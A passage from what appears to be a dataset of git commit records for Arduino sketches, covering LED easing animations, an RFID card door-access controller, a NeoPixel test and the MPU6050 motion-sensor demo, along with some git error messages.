}\n}\n\nvoid fade_fast2(int rate = FADE_RATE){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) = max(0, *(p + i) - rate);\n }\n}\n\nfloat random_dir(){\n float result = ((random(RESOLUTION) \/ RESOLUTION) * (MAX_SPEED - MIN_SPEED)) + MIN_SPEED;\n\n result = random(2) == 1 ? result : result * -1.0;\n\n return result;\n \n \/\/int range = random(RESOLUTION - MIN_SPEED) + MIN_SPEED;\n \/\/return (range \/ (RESOLUTION * 1.0)) - 0.5;\n}\n\nint random_color(){\n return random(NPRETTY_COLORS);\n}\n\nint reflect_i(int *i, int *d, int mx, int mn = 0){\n int ld = *d;\n int next = *i + *d;\n if(next > mx || next < mn){\n *d *= -1;\n }\n *i += *d;\n\n int dir = 0;\n if(*d > ld){\n dir = 1;\n } else if(*d < ld){\n dir = -1;\n }\n return dir; \n}\n\nbool position_occupied(int pos, int id){\n return (existence[pos] & ~bitmask[id]) == 0 ? false : true;\n}\n\nfloat reflect_f(float *f, float *d, int id, float mx = 1.0, float mn = 0.0){\n float ld = *d;\n float last = *f;\n float next = *f + *d;\n\n\/\/ int lasti = WARPAGE[int(last)];\n\/\/ int nexti = WARPAGE[int(next)];\n int lasti = int(last);\n int nexti = int(next);\n \n\/\/ bool clash = (nexti != lasti) && position_occupied(nexti, id);\n bool clash = position_occupied(nexti, id);\n \n if(next > mx || next < mn || clash){\n *d *= -1.0;\n }\n *f += *d;\n\n int dir = 0;\n if(*d > ld){\n dir = 1;\n } else if(*d < ld){\n dir = -1;\n }\n return dir;\n}\n\nint wrap_i(int i, int d, int mx){\n int next = i + d;\n if(next >= mx){\n return 0;\n } else {\n return next;\n }\n}\n\nfloat wrap_f(float f, float d, float mx = 1.0){\n float next = f + d;\n if(next >= mx){\n return 0.0;\n } else {\n return next;\n }\n}\n\nrgb_color add_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = min(255, color1.red + color2.red);\n new_color.green = min(255, color1.green + color2.green);\n new_color.blue = min(255, color1.blue + color2.blue);\n return new_color;\n}\n\nrgb_color subtract_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = max(0, color1.red - color2.red);\n new_color.green = max(0, color1.green - color2.green);\n new_color.blue = max(0, color1.blue - color2.blue);\n return new_color;\n}\n\n\/\/swaps red & green, needed on led strands, not on strips\nvoid setup_colors(bool swap = true){\n if(swap == true){\n for(int i = 0; i < NPALETTE; i++){\n unsigned char value = palette[i].red;\n palette[i].red = palette[i].green; \n palette[i].green = value;\n }\n }\n memcpy(adjusted_palette, palette, sizeof(palette));\n}\n\nvoid setup()\n{\n randomSeed(analogRead(0));\n setup_colors(false);\n set_brightness();\n\n for(int i = 0; i < VLED_COUNT; i++){\n existence[i] = 0;\n }\n\n set_brightness(BRIGHTNESS_PERCENT);\n\n generate_shift_ease(EASE_COUNT, EASE_EXPONENT);\n}\n\n\/*\n#define MAX_BRIGHTNESS 20.0\n#define BRIGHTNESS_STEP 2.0\n*\/\n\nvoid poof(int color, int times=10, int brightness=50){\n set_brightness(brightness);\n for(int i = 0; i < times; i++){\n flood(black);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n flood(adjusted_palette[color]);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n }\n\n flood(black);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n}\n\n\/*\nvoid draw(rgb_color color, int pos, int num = 1){\n int side = num \/ 2;\n int left = max(0, pos - side);\n int right = min(LED_COUNT - 1, pos + side);\n\n for(int i = left; i <= right; i++){\n colors[i] = add_color(colors[i], color);\n }\n}\n*\/\n\nvoid draw(rgb_color color, int pos, int id = 0){\n if(pos < 0 || pos >= LED_COUNT) return;\n \/\/int warped = WARPED[pos];\n colors[pos] = add_color(colors[pos], color);\n existence[pos] |= bitmask[id];\n}\n\nvoid undraw(rgb_color color, int pos, int id = 0){\n if(pos < 0 || pos >= LED_COUNT) return;\n \/\/int warped = WARPED[pos];\n \/\/colors[warped] = subtract_color(colors[warped], color);\n existence[pos] &= ~bitmask[id];\n}\n\nfloat decay(float value){\n float orig = value;\n if(value >= 0){\n value -= DECAY;\n if(value < 0){\n value = random_dir(); \n }\n } else {\n value += DECAY;\n if(value > 0){\n value = random_dir(); \n }\n }\n return value;\n}\n\nfloat ease_power_in(float percent, int power){\n return pow(percent, power);\n}\n\nfloat ease_power_out(float percent, int power){\n return 1 - pow(1 - percent, power);\n}\n\nfloat ease_elastic_out(float percent){\n return sin(-13 * M_PI_2 * (percent + 1)) * pow(2, -10 * percent) + 1; \n}\n\/\/ elastic in: return sin(13 * M_PI_2 * p) * pow(2, 10 * (p - 1));\n\nvoid generate_power_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_power_out(percent, power))) + 0.5;\n }\n}\n\n\/\/ power ease in then elastic ease out\nvoid generate_shift_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_elastic_out(percent))) + 0.5;\n }\n}\n\nvoid flush(){\n ledStrip.write(colors, LED_COUNT);\n}\n\n#define MIN_SIZE 4\n\nvoid loop()\n{\n\/\/ int anim_delay = 10;\n\n\/\/ int maxx = 0;\n while(true){\n for(int e = 0; e < NPALETTE; e++){\n int anim_space = random(ANIM_LED_COUNT);\n int anim_start = random(0, anim_space - MIN_SIZE);\n int anim_width = anim_space - anim_start;\n \n for(int i = 0; i < EASE_COUNT; i++){\n fade_fast();\n int x = ease[i] * anim_width;\n\/\/ draw(white, anim_space - 1);\n draw(adjusted_palette[e], x + anim_start);\n\/\/ if(x > maxx) maxx = x;\n\/\/ draw(pink, maxx + 1);\n\/\/ draw(cyan, LED_COUNT - 1);\n flush(); \n delay(EASE_DELAY);\n }\n\n\/\/ for(int i = 0; i < FADE_COUNT; i++){\n\/\/ fade_fast();\n\/\/ draw(white, ANIM_LED_COUNT-1);\n\/\/ flush(); \n\/\/ delay(EASE_DELAY);\n\/\/ }\n\/\/\n\/\/ erase();\n \n\/\/ for(int i = EASE_COUNT - 1; i >= 0; i--){\n\/\/ fade_fast();\n\/\/ int x = ease[i] * (LED_COUNT - ANIM_MARGIN);\n\/\/ if(x >= 0 && x < LED_COUNT){\n\/\/ draw(adjusted_palette[e], x);\n\/\/ }\n\/\/ flush(); \n\/\/ delay(EASE_DELAY);\n\/\/ }\n\n delay(DELAY);\n }\n }\n return;\n\n float x[NUM_OBJECTS];\n float dx[NUM_OBJECTS];\n int lx[NUM_OBJECTS];\n int group[NUM_OBJECTS];\n int period[NUM_OBJECTS];\n int count[NUM_OBJECTS];\n bool state[NUM_OBJECTS];\n \/\/ int change[NUM_OBJECTS];\n rgb_color show_color[NUM_OBJECTS];\n\n\/\/ int choices[NGROUPS];\n\/\/ for(int i = 0; i < NGROUPS; i++){\n\/\/ choices[i] = -1;\n\/\/ }\n\n\/*\n for(int i = 0; i < NGROUPS; i++){\n while(true){\n int color = random(NGROUPS);\n \n bool try_again = false;\n for(int j = 0; j < i; j++){\n if(color == choices[j]){\n try_again = true;\n break;\n }\n }\n if(try_again == true){\n continue;\n }\n\n choices[i] = color;\n break;\n } \n }\n*\/\n for(int i = 0; i < NUM_OBJECTS; i++){\n x[i] = i * (VLED_COUNT \/ NUM_OBJECTS);\n dx[i] = random_dir(); \n\/\/ dx[i] = 1.0;\n lx[i] = -1;\n\/\/ period[i] = random(MIN_PERIOD, MAX_PERIOD);\n\/\/ count[i] = period[i];\n\/\/ state[i] = false;\n }\n\n rgb_color random_colors[NUM_OBJECTS];\n for(int i = 0; i < NUM_OBJECTS; i++){\n\/\/ group[i] = choices[i % NGROUPS];\n\/\/ random_colors[i] = adjusted_palette[random(group_start[group[i]], group_max[group[i]])];\n random_colors[i] = adjusted_palette[i];\n\/\/ show_color[i] = random_colors[i];\n }\n\n while(true){\n \/\/fade();\n \/\/erase();\n fade_fast();\n \/\/fade_fast2();\n\n for(int i = 0; i < NUM_OBJECTS; i++){\n \/\/change[i] = \n reflect_f(&x[i], &dx[i], i, MAX_VLED);\n\n \/\/dx[i] = decay(dx[i]);\n\n\/\/ int tpos = WARPAGE[int(x[i])];\n int tpos = int(x[i]);\n\/\/ if(tpos != lx[i]){\n undraw(random_colors[i], lx[i], i);\n draw(random_colors[i], tpos, i);\n lx[i] = tpos;\n\/\/ }\n \n\/\/ if(lx != x[i]){\n\/\/ int lpos = sin223_translation[int(lx)];\n\/\/ }\n }\n\n\/*\n for(int i = 0; i < NUM_OBJECTS; i++){\n if(change[i] == 0){\n if(position_occupied(int(x[i]), i)){\n dx[i] *= -1.0;\n }\n }\n }\n*\/\n\n ledStrip.write(colors, LED_COUNT); \n delay(DELAY);\n }\n\n\n}\n\nint low_limit(int value, int limit){\n return value < limit ? limit : value; \n}\n\nint high_limit(int value, int limit){\n return value > limit ? limit : value; \n}\n\nint keep_in(int value, int lower, int upper){\n return low_limit(high_limit(value, upper), lower);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/random_color_ease_144\/random_color_ease_144.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c59137529a748a55961edd623353269d9308a57a","subject":"Now using Receiver logic for data transmission. Need voltage level shifter for the project to work fully. IR Controller uses 5V","message":"Now using Receiver logic for data transmission. Need voltage level shifter for the project to work fully. IR Controller uses 5V\n","repos":"irfansehic\/web_based_rgb_controller,irfansehic\/web_based_rgb_controller","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/irfansehic\/web_based_rgb_controller.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1ae25bde381d37831815f23785328ec28c2a6c8b","subject":"modfied the example from miguelbalboa\/rfid","message":"modfied the example from miguelbalboa\/rfid\n\nhttps:\/\/github.com\/miguelbalboa\/rfid\/blob\/master\/examples\/AccessControl\/AccessControl.ino\n","repos":"gibatronic\/sesame,gibatronic\/sesame,gibatronic\/sesame","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <MFRC522.h>\n\nconstexpr uint8_t relay = 12;\n\nboolean match = false;\nboolean programMode = false;\nboolean replaceMaster = false;\n\nuint8_t successRead;\n\nbyte storedCard[4];\nbyte readCard[4];\nbyte masterCard[4];\n\nconstexpr uint8_t RST_PIN = 9;\nconstexpr uint8_t SS_PIN = 10;\n\nMFRC522 mfrc522(SS_PIN, RST_PIN);\n\nvoid setup() {\n pinMode(relay, OUTPUT);\n digitalWrite(relay, LOW);\n\n Serial.begin(9600);\n SPI.begin();\n\n mfrc522.PCD_Init();\n mfrc522.PCD_SetAntennaGain(mfrc522.RxGain_max);\n\n Serial.println(F(\"SESAME\"));\n Serial.println(\"\");\n\n byte v = mfrc522.PCD_ReadRegister(mfrc522.VersionReg);\n\n if ((v == 0x00) || (v == 0xFF)) {\n Serial.println(F(\"Communication with MFRC522 has failed.\"));\n\n while(true);\n }\n\n if (EEPROM.read(1) != 143) {\n Serial.println(F(\"Define a master card by scanning one now.\"));\n\n do {\n successRead = getID();\n } while (!successRead);\n\n for (uint8_t j = 0; j < 4; j++) {\n EEPROM.write(2 + j, readCard[j]);\n }\n\n EEPROM.write(1, 143);\n\n Serial.println(F(\"Succesfully defined the master card.\"));\n Serial.println(\"\");\n }\n\n for (uint8_t i = 0; i < 4; i++) {\n masterCard[i] = EEPROM.read(2 + i);\n }\n\n Serial.println(F(\"Ready to bounce!\"));\n Serial.println(\"\");\n}\n\nvoid loop() {\n do {\n successRead = getID();\n } while (!successRead);\n\n if (programMode) {\n if (isMaster(readCard)) {\n programMode = false;\n\n Serial.println(F(\"Master card scanned.\"));\n Serial.println(F(\"Exiting program mode.\"));\n Serial.println(\"\");\n } else {\n if (findID(readCard)) {\n Serial.println(F(\"I know this PICC, removing...\"));\n deleteID(readCard);\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n\n return;\n }\n\n Serial.println(F(\"I do not know this PICC, adding...\"));\n writeID(readCard);\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n }\n } else {\n if (isMaster(readCard)) {\n programMode = true;\n Serial.println(F(\"Hello Master - Entered Program Mode\"));\n uint8_t count = EEPROM.read(0);\n Serial.print(F(\"I have \"));\n Serial.print(count);\n Serial.print(F(\" record(s) on EEPROM\"));\n Serial.println(\"\");\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n Serial.println(F(\"Scan Master Card again to Exit Program Mode\"));\n\n return;\n }\n\n if (findID(readCard)) {\n Serial.println(F(\"Welcome! Open sesame!\"));\n granted();\n return;\n }\n\n Serial.println(F(\"You shall not pass\"));\n denied();\n }\n}\n\nvoid granted() {\n digitalWrite(relay, HIGH);\n delay(500);\n digitalWrite(relay, LOW);\n delay(1000);\n}\n\nvoid denied() {\n delay(1000);\n}\n\nuint8_t getID() {\n if (!mfrc522.PICC_IsNewCardPresent()) {\n return 0;\n }\n\n if (!mfrc522.PICC_ReadCardSerial()) {\n return 0;\n }\n\n Serial.println(F(\"Scanned PICC's UID:\"));\n\n for (uint8_t i = 0; i < 4; i++) {\n readCard[i] = mfrc522.uid.uidByte[i];\n Serial.print(readCard[i], HEX);\n }\n\n Serial.println(\"\");\n mfrc522.PICC_HaltA();\n\n return 1;\n}\n\nvoid readID(uint8_t number) {\n uint8_t start = (number * 4 ) + 2;\n\n for (uint8_t i = 0; i < 4; i++) {\n storedCard[i] = EEPROM.read(start + i);\n }\n}\n\nvoid writeID(byte a[]) {\n if (findID(a)) {\n Serial.println(F(\"Failed! There is something wrong with ID or bad EEPROM\"));\n\n return;\n }\n\n uint8_t num = EEPROM.read(0);\n uint8_t start = (num * 4) + 6;\n num++;\n EEPROM.write(0, num);\n\n for (uint8_t j = 0; j < 4; j++) {\n EEPROM.write(start + j, a[j]);\n }\n\n Serial.println(F(\"Succesfully added ID record to EEPROM\"));\n}\n\nvoid deleteID(byte a[]) {\n if (!findID(a)) {\n Serial.println(F(\"Failed! There is something wrong with ID or bad EEPROM\"));\n\n return;\n }\n\n uint8_t num = EEPROM.read(0);\n uint8_t slot;\n uint8_t start;\n uint8_t looping;\n uint8_t j;\n uint8_t count = EEPROM.read(0);\n slot = findIDSLOT(a);\n start = (slot * 4) + 2;\n looping = ((num - slot) * 4);\n num--;\n EEPROM.write(0, num);\n\n for (j = 0; j < looping; j++) {\n EEPROM.write( start + j, EEPROM.read(start + 4 + j));\n }\n\n for (uint8_t k = 0; k < 4; k++) {\n EEPROM.write(start + j + k, 0);\n }\n\n Serial.println(F(\"Succesfully removed ID record from EEPROM\"));\n}\n\nboolean checkTwo(byte a[], byte b[]) {\n if ( a[0] != 0 ) {\n match = true;\n }\n\n for (uint8_t k = 0; k < 4; k++) {\n if (a[k] != b[k]) {\n match = false;\n\n break;\n }\n }\n\n if (match) {\n return true;\n }\n\n return false;\n}\n\nuint8_t findIDSLOT(byte find[]) {\n uint8_t count = EEPROM.read(0);\n\n for (uint8_t i = 1; i <= count; i++) {\n readID(i);\n\n if (checkTwo(find, storedCard)) {\n return i;\n }\n }\n}\n\nboolean findID(byte find[]) {\n uint8_t count = EEPROM.read(0);\n\n for (uint8_t i = 1; i <= count; i++) {\n readID(i);\n\n if (checkTwo(find, storedCard)) {\n return true;\n }\n }\n\n return false;\n}\n\nboolean isMaster(byte test[]) {\n if (checkTwo(test, masterCard)) {\n return true;\n }\n\n return false;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f70cd122e8da46b5de5e98464aa2c1ec2b46731","subject":"The infrastructure to enlightenment","message":"The infrastructure to enlightenment\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"Cabins\/tryouts\/InfraRed_to_Led_V1\/InfraRed_to_Led_V1.ino","new_file":"Cabins\/tryouts\/InfraRed_to_Led_V1\/InfraRed_to_Led_V1.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#define PIN 6\n\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(6, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nbyte ledPositions[3][2] = {\n {0, 5},\n {1, 4},\n {2, 3},\n};\n\nvoid setup() {\n Serial.begin(115200);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n\n Serial.println(analogRead(0)); \/\/0-1023\n int j = analogRead(0) \/ 4;\n\n for (int i = 0; i < 3; i++) {\n strip.setPixelColor(ledPositions[i][0], strip.Color(0, j, 0)); \/*fellheid liniaire toename*\/\n }\n\n for (int i = 0; i < 3; i++) {\n strip.setPixelColor(ledPositions[i][1], strip.Color(0, 0, j * j \/ 256));\/* fellheid exponentiele toename (wordt opgevat als liniaire toename)*\/\n }\n strip.show();\n delay(10);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Cabins\/tryouts\/InfraRed_to_Led_V1\/InfraRed_to_Led_V1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3a17529c762b4d746577a0cc8600a2dad480028d","subject":"Create esc_test.ino","message":"Create esc_test.ino","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"esc_test.ino","new_file":"esc_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"95f493fcdf449e2e83e7795049ceb7f367ceb156","subject":"mpu demo","message":"mpu demo\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/MPU6050.ino","new_file":"testing\/arduino\/MPU6050.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added seamless Fastwire support\n\/\/ - added note about gyro calibration\n\/\/ 2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error\n\/\/ 2012-06-20 - improved FIFO overflow handling and simplified read process\n\/\/ 2012-06-19 - completely rearranged DMP initialization code and simplification\n\/\/ 2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly\n\/\/ 2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING\n\/\/ 2012-06-05 - add gravity-compensated initial reference frame acceleration output\n\/\/ - add 3D math helper file to DMP6 example sketch\n\/\/ - add Euler output and Yaw\/Pitch\/Roll output formats\n\/\/ 2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)\n\/\/ 2012-06-01 - fixed gyro sensitivity to be 2000 deg\/sec instead of 250\n\/\/ 2012-05-30 - basic DMP initialization working\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n#define INTERRUPT_PIN 2 \/\/ use pin 2 on Arduino Uno & most boards\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[28] = { '$', 0x03, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n Wire.setClock(400000); \/\/ 400kHz I2C clock. Comment this line if having compilation difficulties\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(115200);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n pinMode(INTERRUPT_PIN, INPUT);\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXAccelOffset(-1169);\n mpu.setYAccelOffset(744);\n mpu.setZAccelOffset(1620);\n mpu.setXGyroOffset(48);\n mpu.setYGyroOffset(47);\n mpu.setZGyroOffset(-8);\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(digitalPinToInterrupt(INTERRUPT_PIN), dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n\n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n \/\/ display quaternion values in InvenSense Teapot demo format:\n teapotPacket[2] = fifoBuffer[0];\n teapotPacket[3] = fifoBuffer[1];\n teapotPacket[4] = fifoBuffer[4];\n teapotPacket[5] = fifoBuffer[5];\n teapotPacket[6] = fifoBuffer[8];\n teapotPacket[7] = fifoBuffer[9];\n teapotPacket[8] = fifoBuffer[12];\n teapotPacket[9] = fifoBuffer[13];\n \/\/ gyro values\n teapotPacket[10] = fifoBuffer[16];\n teapotPacket[11] = fifoBuffer[17];\n teapotPacket[12] = fifoBuffer[20];\n teapotPacket[13] = fifoBuffer[21];\n teapotPacket[14] = fifoBuffer[24];\n teapotPacket[15] = fifoBuffer[25];\n \/\/ accelerometer values\n teapotPacket[16] = fifoBuffer[28];\n teapotPacket[17] = fifoBuffer[29];\n teapotPacket[18] = fifoBuffer[32];\n teapotPacket[19] = fifoBuffer[33];\n teapotPacket[20] = fifoBuffer[36];\n teapotPacket[21] = fifoBuffer[37];\n \/\/temperature\n int16_t temperature = mpu.getTemperature();\n teapotPacket[22] = temperature >> 